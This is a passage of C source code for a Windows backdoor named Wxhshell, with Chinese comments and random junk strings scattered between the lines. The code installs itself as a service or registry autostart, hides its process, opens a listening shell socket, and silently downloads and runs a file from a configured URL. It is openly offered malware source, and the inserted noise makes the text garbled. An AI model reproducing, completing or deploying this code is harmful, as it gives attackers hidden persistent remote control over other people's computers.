8EM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X"QIH|qx- 0uX"KL]Elf CloseHandle(hProcess); sjh>i>t P(OgT/7A if(strstr(procName,"services")) return 1; // 以服务启动 &6!~Q,;K- |X&.+RI return 0; // 注册表启动 hT :+x3 } o!.\+[ Wr3j8"f/ // 主模块 fBCW/<Z int StartWxhshell(LPSTR lpCmdLine) N[e QT { cBICG",TA SOCKET wsl; H:9Z.|{Gv BOOL val=TRUE; 566vjE int port=0; m\a_0!K struct sockaddr_in door; R?aE:\A ,#=ykg*~/ if(wscfg.ws_autoins) Install(); kO3{2$S6 .yz-o\,gF% port=atoi(lpCmdLine); Jh1Q)05 Ki#({~ if(port<=0) port=wscfg.ws_port; Hg8n`a;R FO"8B WSADATA data; 3V")~m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fQ>=\*b9x^ (_&W@:"z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }1]E=!?)& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :eaqUW!Y door.sin_family = AF_INET; 3w&fN3
1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); -TnvX(ok4 door.sin_port = htons(port); Fua:& 77 VAkZ@
u3'~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u`E24~ closesocket(wsl); YTBZklM return 1; 'qD5 } ogN/zIU+VA zqEMR>px if(listen(wsl,2) == INVALID_SOCKET) { ]RYk Y7>` closesocket(wsl); nya-Io. return 1; X4<!E# } U?/UW;k[ Wxhshell(wsl); +r EqE/QF WSACleanup(); D&1*,` *"rgK|CM$ return 0; piIr.] 3Cq/
o' } Izrf42 >k /Mq]WXq[V // 以NT服务方式启动 Q_}i8p' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cG%ttfq\ { V,,/}f' DWORD status = 0; e_C9VNP DWORD specificError = 0xfffffff; ]TTX<R
ZLr 0,)Ao8 serviceStatus.dwServiceType = SERVICE_WIN32; _ED,DM serviceStatus.dwCurrentState = SERVICE_START_PENDING; ** \B P,]} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i!zh9,i>M serviceStatus.dwWin32ExitCode = 0; L||_Jsu serviceStatus.dwServiceSpecificExitCode = 0; 5+U2@XV serviceStatus.dwCheckPoint = 0; (nP 6Xq serviceStatus.dwWaitHint = 0; SB5[PDL_q BoZG^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ] iKFEd if (hServiceStatusHandle==0) return; BKoc;20; 1FfdW>ay* status = GetLastError(); /m,0H)w1 if (status!=NO_ERROR) qX'w}nJ}H} { xl5n(~g)p serviceStatus.dwCurrentState = SERVICE_STOPPED; aQax85 serviceStatus.dwCheckPoint = 0; 1](5wK-Z serviceStatus.dwWaitHint = 0; wn*z* serviceStatus.dwWin32ExitCode = status; 2N]u!S ;d serviceStatus.dwServiceSpecificExitCode = specificError; W":is" SetServiceStatus(hServiceStatusHandle, &serviceStatus); muLt/.EZ return; i4TU}.h8 } \'(
@{ 5ug?'TOj' serviceStatus.dwCurrentState = SERVICE_RUNNING; Q(lj&!?1k serviceStatus.dwCheckPoint = 0; |_l\. serviceStatus.dwWaitHint = 0; \ iL&Aq}BO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qy ;
M:q } ?DVO\Cp f_1#>] // 处理NT服务事件,比如:启动、停止 L2ePWctq} VOID WINAPI NTServiceHandler(DWORD fdwControl) !Ju?REH { 2A3;#v switch(fdwControl) \Cx)
~bq< { <YbOO{ case SERVICE_CONTROL_STOP: $)|
l#'r serviceStatus.dwWin32ExitCode = 0; W(*:8}m,p serviceStatus.dwCurrentState = SERVICE_STOPPED; e_J_rx serviceStatus.dwCheckPoint = 0; ]pLQ;7f7D serviceStatus.dwWaitHint = 0; +Ux)m4}j { ]d"4G7mu`l SetServiceStatus(hServiceStatusHandle, &serviceStatus); oRM EC7!A0 } od>DSn3T return; 7 q<UJIf case SERVICE_CONTROL_PAUSE: )>LQ{X. serviceStatus.dwCurrentState = SERVICE_PAUSED; t1HUp dHY break; @aR! -} case SERVICE_CONTROL_CONTINUE: 02X ~' To" serviceStatus.dwCurrentState = SERVICE_RUNNING; *AXu_^^ break; a/+tsbw case SERVICE_CONTROL_INTERROGATE: k4_Fn61J/ break; "s$v?voo }; 1Giy|;2/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); L K9vvQz } ]*{QVn( P,RCbPC4 // 标准应用程序主函数 g~d}?B\<@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Egt;Bj#% { x8p#WB |u)?h]> // 获取操作系统版本 &Pt| OsIsNt=GetOsVer(); EWN$ILdD GetModuleFileName(NULL,ExeFile,MAX_PATH); .<v0y"amJ R!xs;|] // 从命令行安装 )!MeSWGq if(strpbrk(lpCmdLine,"iI")) Install(); '<f4POy! TyMRm // 下载执行文件 ?8Cxt|o> if(wscfg.ws_downexe) { )rD] y2^< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !@-j!Ub WinExec(wscfg.ws_filenam,SW_HIDE); oaI7j=Gp } \s;]Tg y]=v+Q*+ if(!OsIsNt) { ~az6n) // 如果时win9x,隐藏进程并且设置为注册表启动 (c(c MC' HideProc(); ?PWD[mQE\ StartWxhshell(lpCmdLine); Ze~ a+%Sb } 9QJ=?bIC# else >q
<,FY!A if(StartFromService()) NTiJEzW} // 以服务方式启动 '6{q;Bxo StartServiceCtrlDispatcher(DispatchTable); 1rC8]M.N else Ig1cf9 : // 普通方式启动 H;,cUb StartWxhshell(lpCmdLine); TJ`E/=J! hC}A%_S return 0; WX
79V }
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